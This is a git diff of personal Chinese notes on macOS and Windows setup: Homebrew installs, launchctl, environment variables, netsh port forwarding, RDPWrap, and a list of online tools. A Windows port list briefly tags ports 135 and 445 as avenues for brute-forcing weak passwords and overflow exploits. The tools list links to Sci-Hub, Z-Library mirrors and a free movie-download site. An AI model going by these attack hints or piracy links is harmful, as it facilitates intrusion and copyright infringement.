run: - echo 'export PATH="/opt/homebrew/opt/mysql@5.7/bin:$PATH"' >> ~/.zshrc +```log +To connect run: + mysql -uroot - For compilers to find mysql@5.7 you may need to set: - export LDFLAGS="-L/opt/homebrew/opt/mysql@5.7/lib" - export CPPFLAGS="-I/opt/homebrew/opt/mysql@5.7/include" +mysql@5.7 is keg-only, which means it was not symlinked into /opt/homebrew, +because this is an alternate version of another formula. +If you need to have mysql@5.7 first in your PATH, run: + echo 'export PATH="/opt/homebrew/opt/mysql@5.7/bin:$PATH"' >> ~/.zshrc - To have launchd start mysql@5.7 now and restart at login: - brew services start mysql@5.7 - Or, if you don't want/need a background service you can just run: - /opt/homebrew/opt/mysql@5.7/bin/mysql.server start - ``` +For compilers to find mysql@5.7 you may need to set: + export LDFLAGS="-L/opt/homebrew/opt/mysql@5.7/lib" + export CPPFLAGS="-I/opt/homebrew/opt/mysql@5.7/include" + + +To have launchd start mysql@5.7 now and restart at login: + brew services start mysql@5.7 +Or, if you don't want/need a background service you can just run: + /opt/homebrew/opt/mysql@5.7/bin/mysql.server start +``` 3. 安装redis - ```bash - brew install redis - brew services start redis - ``` - ```log - Or, if you don't want/need a background service you can just run: - /opt/homebrew/opt/redis/bin/redis-server /opt/homebrew/etc/redis.conf - ``` + +```bash +brew install redis +brew services start redis +``` + +```log +Or, if you don't want/need a background service you can just run: +/opt/homebrew/opt/redis/bin/redis-server /opt/homebrew/etc/redis.conf +``` 4. java - ```bash - # 本人选择从官方下载dmg包进行安装 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html - brew tap adoptopenjdk/openjdk # 加载第三方仓库 - brew install adoptopenjdk/openjdk/adoptopenjdk8 - brew tap homebrew/cask-versions # 加载第三方仓库 - brew reinstall adoptopenjdk8 - ``` +```bash +# 本人选择从官方下载dmg包进行安装 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html +brew tap adoptopenjdk/openjdk # 加载第三方仓库 +brew install adoptopenjdk/openjdk/adoptopenjdk8 + +brew tap homebrew/cask-versions # 加载第三方仓库 +brew reinstall adoptopenjdk8 +``` 5. ansible - ```bash - brew install ansible - # brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb - arch -arm64 brew install sshpass.rb - arch -arm64 brew install ansible-lint - ``` - - sshpass.rb - ```rb - require 'formula' - - class Sshpass < Formula - url 'http://sourceforge.net/projects/sshpass/files/sshpass/1.06/sshpass-1.06.tar.gz' - homepage 'http://sourceforge.net/projects/sshpass' - sha256 'c6324fcee608b99a58f9870157dfa754837f8c48be3df0f5e2f3accf145dee60' - - def install - system "./configure", "--disable-debug", "--disable-dependency-tracking", - "--prefix=#{prefix}" - system "make install" - end - - def test - system "sshpass" - end +```bash +brew install ansible +# brew install https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb +arch -arm64 brew install sshpass.rb + +arch -arm64 brew install ansible-lint +``` + +- sshpass.rb + +```rb +require 'formula' + +class Sshpass < Formula + url 'http://sourceforge.net/projects/sshpass/files/sshpass/1.06/sshpass-1.06.tar.gz' + homepage 'http://sourceforge.net/projects/sshpass' + sha256 'c6324fcee608b99a58f9870157dfa754837f8c48be3df0f5e2f3accf145dee60' + + def install + system "./configure", "--disable-debug", "--disable-dependency-tracking", + "--prefix=#{prefix}" + system "make install" end - ``` - ``` - fatal: [10.1.6.88]: FAILED! => {"msg": "to use the 'ssh' connection type with passwords or pkcs11_provider, you must install the sshpass program"} - brew install hudochenkov/sshpass/sshpass - ``` + + def test + system "sshpass" + end +end +``` + +``` +fatal: [10.1.6.88]: FAILED! => {"msg": "to use the 'ssh' connection type with passwords or pkcs11_provider, you must install the sshpass program"} +brew install hudochenkov/sshpass/sshpass +``` 6. 安装v2ray - - brew install v2ray - - 配置/opt/homebrew/etc/v2ray/config.json - - 启动 brew services start v2ray - - 进程 /opt/homebrew/opt/v2ray/bin/v2ray -config /opt/homebrew/etc/v2ray/config.json + +- brew install v2ray +- 配置/opt/homebrew/etc/v2ray/config.json +- 启动 brew services start v2ray +- 进程 /opt/homebrew/opt/v2ray/bin/v2ray -config /opt/homebrew/etc/v2ray/config.json ### 第三方软件 -1. 多屏屏幕,鼠标快速移动 https://github.com/round/CatchMouse -2. Chrome https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0 -3. Openvpn https://openvpn.net/downloads/openvpn-connect-v3-macos.dmg -4. UniVPN https://www.leagsoft.com/doc/article/103107.html -5. Vscode https://code.visualstudio.com/Download -6. 雅思哥 https://ieltsbro.com/ -7. Mysql官方可视化工具 + +01. 多屏屏幕,鼠标快速移动 https://github.com/round/CatchMouse +02. Chrome https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0 +03. Openvpn https://openvpn.net/downloads/openvpn-connect-v3-macos.dmg +04. UniVPN https://www.leagsoft.com/doc/article/103107.html +05. Vscode https://code.visualstudio.com/Download +06. 雅思哥 https://ieltsbro.com/ +07. Mysql官方可视化工具 - https://dev.mysql.com/downloads/workbench/ - Mac M1上 8.0.23 闪退,8.0.22 正常使用 ```bash @@ -221,23 +254,26 @@ brew install vim export PATH=$PATH:/Applications/MySQLWorkbench.app/Contents/MacOS mysql --version ``` -8. 监控工具 stats https://github.com/exelban/stats -9. 远程控制ToDesk https://www.todesk.com/download.html +08. 监控工具 stats https://github.com/exelban/stats +09. 远程控制ToDesk https://www.todesk.com/download.html 10. 贝瑞向日葵 11. VNC https://www.realvnc.com/en/connect/download/viewer/ ## 服务管理launchctl + ### launchctl + 1. plist的全称是Property lists,是一种用来存储串行化后的对象的文件。属性列表文件的文件扩展名为.plist,因此通常被称为plist文件 2. plist文件的位置 - - 如果需要 root,并且是需要用户登陆后才能运行,放在 /Library/LaunchAgents/ - - 如果需要 root,并且不需要用户登陆后都能运行,放在 /Library/LaunchDaemons/ - - 如果只当特定用户登入时,程序才自动启动,例如当用户名称为gary时,放在 /Users/gary/Library/LaunchAgents/ - - 程序没法被kill或者stop掉,只有通过这种方式停止 launchctl unload ~/Library/LaunchAgents/${name} - - 由操作系统为用户定义的任务项,则被放在 /System/Library/LaunchAgents -3. 通常brew在安装软件时brew为我们自动生成与加载plist。 + - 如果需要 root,并且是需要用户登陆后才能运行,放在 /Library/LaunchAgents/ + - 如果需要 root,并且不需要用户登陆后都能运行,放在 /Library/LaunchDaemons/ + - 如果只当特定用户登入时,程序才自动启动,例如当用户名称为gary时,放在 /Users/gary/Library/LaunchAgents/ + - 程序没法被kill或者stop掉,只有通过这种方式停止 launchctl unload ~/Library/LaunchAgents/${name} + - 由操作系统为用户定义的任务项,则被放在 /System/Library/LaunchAgents + +3. 通常brew在安装软件时brew为我们自动生成与加载plist。 ```bash # 1. 对服务设置别名方便操作 @@ -262,12 +298,14 @@ plutil -lint gary.test.plist ``` ### 设置服务开机启动 + ```bash # 配置 sudo vim /Library/LaunchDaemons/gary.test.plist # 加载服务配置文件,让服务开机自启 sudo launchctl load -w /Library/LaunchDaemons/gary.test.plist ``` + ```xml @@ -298,70 +336,94 @@ sudo launchctl load -w /Library/LaunchDaemons/gary.test.plist ``` - 每个.plist文件中,有3个属性控制着是否会开机自启动。 - 1. KeepAlive: 决定程序是否需要一直运行,如果是false则需要才启动,默认false; - 2. RunAtLoad: 开机时是否运行,默认为false; - 3. SuccessfulExit: 此项为true时,程序正常退出时重启(即退出码为0);为false时,程序非正常退出时重启。此项设置时会隐含默认RunAtLoad = true,因为程序需要至少运行一次才能获得退出状态 + 1. KeepAlive: 决定程序是否需要一直运行,如果是false则需要才启动,默认false; + 2. RunAtLoad: 开机时是否运行,默认为false; + 3. SuccessfulExit: 此项为true时,程序正常退出时重启(即退出码为0);为false时,程序非正常退出时重启。此项设置时会隐含默认RunAtLoad = true,因为程序需要至少运行一次才能获得退出状态 - 如果KeepAlive = false: - - 当RunAtLoad = false时,程序只有在有需要的时候运行。 - - 当RunAtLoad = true时,程序在启动时会运行一次,然后等待在有需要的时候运行。 - - 当SuccessfulExit = true / false时,不论RunAtLoad值是什么,都会在启动时运行一次。气候根据SuccessfulExit值来决定是否重启。 + - 当RunAtLoad = false时,程序只有在有需要的时候运行。 + - 当RunAtLoad = true时,程序在启动时会运行一次,然后等待在有需要的时候运行。 + - 当SuccessfulExit = true / false时,不论RunAtLoad值是什么,都会在启动时运行一次。气候根据SuccessfulExit值来决定是否重启。 - 如果KeepAlive = true: - - 不论RunAtLoad/SuccessfulExit值是什么,都会启动时运行且一直保持运行状态。 - + - 不论RunAtLoad/SuccessfulExit值是什么,都会启动时运行且一直保持运行状态。 ## 环境变量 + - 参考 https://www.jianshu.com/p/acb1f062a925 - 环境变量文件,加载顺序为: - - /etc/profile - - /etc/paths - - ~/.bash_profile - - ~/.bash_login - - ~/.profile - - ~/.bashrc + + - /etc/profile + - /etc/paths + - ~/.bash_profile + - ~/.bash_login + - ~/.profile + - ~/.bashrc - 环境变量文件,关于修改 - - 编辑环境变量文件,将环境变量添加到环境变量文件中 ,一行一个路径 - - Hint:输入环境变量时,不用一个一个地输入,只要拖动文件夹到 Terminal 里就可以了。 - - /etc/paths (全局建议修改这个文件 ) - - /etc/profile (建议不修改这个文件 ),全局(公有)配置,不管是哪个用户,登录时都会读取该文件。 - - /etc/bashrc (一般在这个文件中添加系统级环境变量)全局(公有)配置,bash shell执行时,不管是何种方式,都会读取此文件。 - - ~/.profile 文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/profile.d目录的配置文件中搜集shell的设置 - - 使用注意:如果你有对/etc/profile有修改的话必须得重启你的修改才会生效,此修改对每个用户都生效。 - - ./bashrc 每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取. - - 使用注意 对所有的使用bash的用户修改某个配置并在以后打开的bash都生效的话可以修改这个文件,修改这个文件不用重启,重新打开一个bash即可生效。 - - ./bash_profile 该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被读取.(每个用户都有一个.bashrc文件,在用户目录下) - - 使用注意 需要需要重启才会生效,/etc/profile对所有用户生效,~/.bash_profile只对当前用户生效。 - - - source ./.bash_profile 或者 ./.profile 环境信息生效 + + - 编辑环境变量文件,将环境变量添加到环境变量文件中 ,一行一个路径 + + - Hint:输入环境变量时,不用一个一个地输入,只要拖动文件夹到 Terminal 里就可以了。 + + - /etc/paths (全局建议修改这个文件 ) + + - /etc/profile (建议不修改这个文件 ),全局(公有)配置,不管是哪个用户,登录时都会读取该文件。 + + - /etc/bashrc (一般在这个文件中添加系统级环境变量)全局(公有)配置,bash shell执行时,不管是何种方式,都会读取此文件。 + + - ~/.profile 文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/profile.d目录的配置文件中搜集shell的设置 + + - 使用注意:如果你有对/etc/profile有修改的话必须得重启你的修改才会生效,此修改对每个用户都生效。 + + - ./bashrc 每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取. + + - 使用注意 对所有的使用bash的用户修改某个配置并在以后打开的bash都生效的话可以修改这个文件,修改这个文件不用重启,重新打开一个bash即可生效。 + + - ./bash_profile 该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被读取.(每个用户都有一个.bashrc文件,在用户目录下) + + - 使用注意 需要需要重启才会生效,/etc/profile对所有用户生效,~/.bash_profile只对当前用户生效。 + + - source ./.bash_profile 或者 ./.profile 环境信息生效 - 操作篇-全局设置 - ```bash - # 创建一个文件: - sudo touch /etc/paths.d/mysql - # 用 vim 打开这个文件(如果是以 open -t 的方式打开,则不允许编辑): - sudo vim /etc/paths.d/mysql - # 编辑该文件,键入路径并保存(关闭该 Terminal 窗口并重新打开一个,就能使用 mysql 命令了) - /usr/local/mysql/bin - # 生效配置环境 - source /etc/paths.d/mysql # - ``` + + ```bash + # 创建一个文件: + sudo touch /etc/paths.d/mysql + # 用 vim 打开这个文件(如果是以 open -t 的方式打开,则不允许编辑): + sudo vim /etc/paths.d/mysql + # 编辑该文件,键入路径并保存(关闭该 Terminal 窗口并重新打开一个,就能使用 mysql 命令了) + /usr/local/mysql/bin + # 生效配置环境 + source /etc/paths.d/mysql # + ``` ## 快捷键 -1. Command + F3 显示桌面 -2. Control + Space 切换输入法 -3. Command + Q 退出程序 -4. Command + W 关闭当前窗口 - -5. Command + T 打开新的窗口/新建标签页 -6. Command + L 游览器快速输入网址 -7. Command + Option + I 游览器开发者工具 -8. Command + left 游览器页面后退 -9. Command + R 刷新页面 + +01. Command + F3 显示桌面 + +02. Control + Space 切换输入法 + +03. Command + Q 退出程序 + +04. Command + W 关闭当前窗口 + +05. Command + T 打开新的窗口/新建标签页 + +06. Command + L 游览器快速输入网址 + +07. Command + Option + I 游览器开发者工具 + +08. Command + left 游览器页面后退 + +09. Command + R 刷新页面 + 10. Command + up APP后退 + 11. Command + Shift + 3 整个屏幕截图 + 12. Command + Shift + 4 选择区域截图 + 13. Command + Shift + + Control + 4 选择区域截图 14. open -nj /Applications/WeChat.app/Contents/MacOS/WeChat 双开微信 - \ No newline at end of file diff --git a/online_tools.md b/zzz/online_tools.md similarity index 52% rename from online_tools.md rename to zzz/online_tools.md index f42c7b1..6818f5f 100644 --- a/online_tools.md +++ b/zzz/online_tools.md @@ -1,37 +1,54 @@ +--- +created_date: 2025-05-05 +--- + +[TOC] + ## 共享表格 + 1. google sheet 加密 https://www.skipser.com/p/2/p/password-protect-google-drive-document.html 1. https://blog.golayer.io/google-sheets/password-protect-google-sheets ## 免费云部署环境 -1. 脚本部署 https://workers.cloudflare.com/ +1. 脚本部署 https://workers.cloudflare.com/ ## 小工具链接 + 1. 在线加解密 - - https://www.cmd5.com/ + - https://www.cmd5.com/ 2. openai + 1. https://beta.openai.com/ 2. https://chat.openai.com/ 3. 图片转Excel - 1. https://www.easyjob.ink/tools/img2excel.html + + 1. https://www.easyjob.ink/tools/img2excel.html 4. 视频托管网站 https://wave.video/ -## 知识 +## 知识 1. 研究文章和书籍的数据库 - 1. sci-hub.se - 2. sci-hub.st - 3. sci-hub.ru + + 1. sci-hub.se + 2. sci-hub.st + 3. sci-hub.ru 2. Z-Library 世界上最大的在线图书馆之一,官网: - 1. https://zh.z-library.se/ - 2. https://z-lib.gs - 3. https://zh.z-lib.gs/ - 4. https://1lib.sk - 5. https://zh.z-lib.gd/ -3. 在线图书馆 https://liber3.eth.limo/ \ No newline at end of file + 1. https://zh.z-library.se/ + 2. https://1lib.sk + 3. https://zh.z-lib.gd/ + +3. 在线图书馆 https://liber3.eth.limo/ +4. 图书 https://github.com/jbiaojerry/ebook-treasure-chest + +## 组织 +1. 寻找DC服务频道 https://discordhunt.com/zh + +## 视频 +1. 免费下载电影 https://www.flgens.com/ \ No newline at end of file diff --git a/zzz/todo.md b/zzz/todo.md index 2cd2b96..1355664 100644 --- a/zzz/todo.md +++ b/zzz/todo.md @@ -1,3 +1,9 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + 1. 编程 WASM -2. 运维 GitOps \ No newline at end of file +2. 运维 GitOps diff --git a/zzz/windows.md b/zzz/windows.md index 2539215..9b81965 100644 --- a/zzz/windows.md +++ b/zzz/windows.md @@ -1,7 +1,15 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] # Winodows + ## Windows11 + - winget 是 Windows 11 自带的包管理器,可以快速安装最新版 PowerShell。 + ```sh # 安装 PowerShell 7 winget install --id Microsoft.PowerShell --source winget @@ -9,13 +17,15 @@ winget install --id Microsoft.PowerShell --source winget ``` ## 指令 + - cmd vs PowerShell - 1. PowerShell是跨平台的,cmd是Windows专用的。 - 2. PowerShell有面向对象的管道。 - 3. PowerShell能够调用.NET的很多功能。 - 4. Powershell是cmd的超集。 + 1. PowerShell是跨平台的,cmd是Windows专用的。 + 2. PowerShell有面向对象的管道。 + 3. PowerShell能够调用.NET的很多功能。 + 4. Powershell是cmd的超集。 ### cmd + ```sh ipconfig /all ipconfig /flushdns @@ -60,9 +70,20 @@ netstat -ano | find "LISTENING" # 更改名字 net user 用户名 /fullname:显示名称 wmic useraccount where name=当前用户名 rename 新用户名 + + +# 端口转发 +netsh interface portproxy add v4tov4 listenport=原端口 listenaddress=原IP connectport=目的端口 connectaddress=目的IP +# 查看存在的转发规则 +netsh interface portproxy show all +# 删除指定规则 +netsh interface portproxy delete v4tov4 listenport=目的端口 listenaddress=目的IP +# 使用netstat确保原端口当前处于被侦听状态: +netstat -ano | findstr :原端口 ``` ### PowerShell + ```powershell # 查看版本 $PSVersionTable @@ -97,48 +118,54 @@ Get-EventLog -LogName "System" | Where-Object { $_.Source -eq "Service Control M ``` ## Win + r -1. 配置开机启动项 ``msconfig`` + +1. 配置开机启动项 `msconfig` ## 快捷键 + 1. Ctrl + W 关闭窗口/标签 2. Alt + F4 关闭窗口 - ## 端口 + 1. 135 - 1. TCP RCP - 2. TCP RCP 消息队列 、 TCP RCP 远程过程调用 、 TCP RCP Exchange Server - 3. 爆破弱口令 + 1. TCP RCP + 2. TCP RCP 消息队列 、 TCP RCP 远程过程调用 、 TCP RCP Exchange Server + 3. 爆破弱口令 2. 445 - 1. SMB - 2. ... - 3. 溢出漏洞 + 1. SMB + 2. ... + 3. 溢出漏洞 3. 3389 - 1. 远程登入端口 + 1. 远程登入端口 ## 远程连接 -1. RDPWrap - 1. https://github.com/sebaxakerhtc/rdpwrap/releases/tag/v1.8.9.9 - 2. rdpwrap.ini - 1. https://github.com/sebaxakerhtc/rdpwrap.ini - 2. https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini - 3. RDPWrap 的主要功能 - 1. 支持多用户同时远程登录:默认情况下,Windows 只允许一个用户通过远程桌面连接登录。RDPWrap 可以解除这一限制,允许多个用户同时远程登录。 - 2. 在 Windows 家庭版上启用远程桌面:Windows 家庭版默认不支持远程桌面协议(RDP),RDPWrap 可以启用这一功能。 - 3. 绕过远程桌面连接数的限制:即使是非服务器版本的 Windows(如 Windows 10/11 专业版),RDPWrap 也可以解除远程桌面连接数的限制。 - 4. 保持本地登录用户不受影响:使用 RDPWrap 后,远程桌面连接不会断开本地登录的用户。 - 4. RDPWrap 的工作原理 - 1. RDPWrap 通过替换或扩展 Windows 系统的 termsrv.dll 文件(负责远程桌面服务的核心组件),来实现对远程桌面功能的增强。它不会修改系统文件,而是通过一个服务(RDPWrapper)来动态加载配置。 - 5. win11允许的威胁 - 1. HackTool:Win32/RemoteAdmin!MSR - 2. PUA:Win32/RDPWrap + +1. RDPWrap + 1. https://github.com/sebaxakerhtc/rdpwrap/releases/tag/v1.8.9.9 + 2. rdpwrap.ini + 1. https://github.com/sebaxakerhtc/rdpwrap.ini + 2. https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini + 3. RDPWrap 的主要功能 + 1. 支持多用户同时远程登录:默认情况下,Windows 只允许一个用户通过远程桌面连接登录。RDPWrap 可以解除这一限制,允许多个用户同时远程登录。 + 2. 在 Windows 家庭版上启用远程桌面:Windows 家庭版默认不支持远程桌面协议(RDP),RDPWrap 可以启用这一功能。 + 3. 绕过远程桌面连接数的限制:即使是非服务器版本的 Windows(如 Windows 10/11 专业版),RDPWrap 也可以解除远程桌面连接数的限制。 + 4. 保持本地登录用户不受影响:使用 RDPWrap 后,远程桌面连接不会断开本地登录的用户。 + 4. RDPWrap 的工作原理 + 1. RDPWrap 通过替换或扩展 Windows 系统的 termsrv.dll 文件(负责远程桌面服务的核心组件),来实现对远程桌面功能的增强。它不会修改系统文件,而是通过一个服务(RDPWrapper)来动态加载配置。 + 5. win11允许的威胁 + 1. HackTool:Win32/RemoteAdmin!MSR + 2. PUA:Win32/RDPWrap 2. 配置指定用户不能从网络登入 - 1. Win+R,gpedit.msc,计算机配置,Windows设置,安全设置,本地策略,用户权限分配,拒绝从网络访问这台计算机 + 1. Win+R,gpedit.msc,计算机配置,Windows设置,安全设置,本地策略,用户权限分配,拒绝从网络访问这台计算机 + # Others + 1. RSS - - https://juejin.cn/post/6844903760142024711 + - https://juejin.cn/post/6844903760142024711 2. NSSM(Non-Sucking Service Manager) - 1. 可以将非服务程序(如 frpc)包装为 Windows 服务,确保正确运行并响应 SCM。 - 2. `./nssm.exe install 程序服务名 ` \ No newline at end of file + + 1. 可以将非服务程序(如 frpc)包装为 Windows 服务,确保正确运行并响应 SCM。 + 2. `./nssm.exe install 程序服务名 `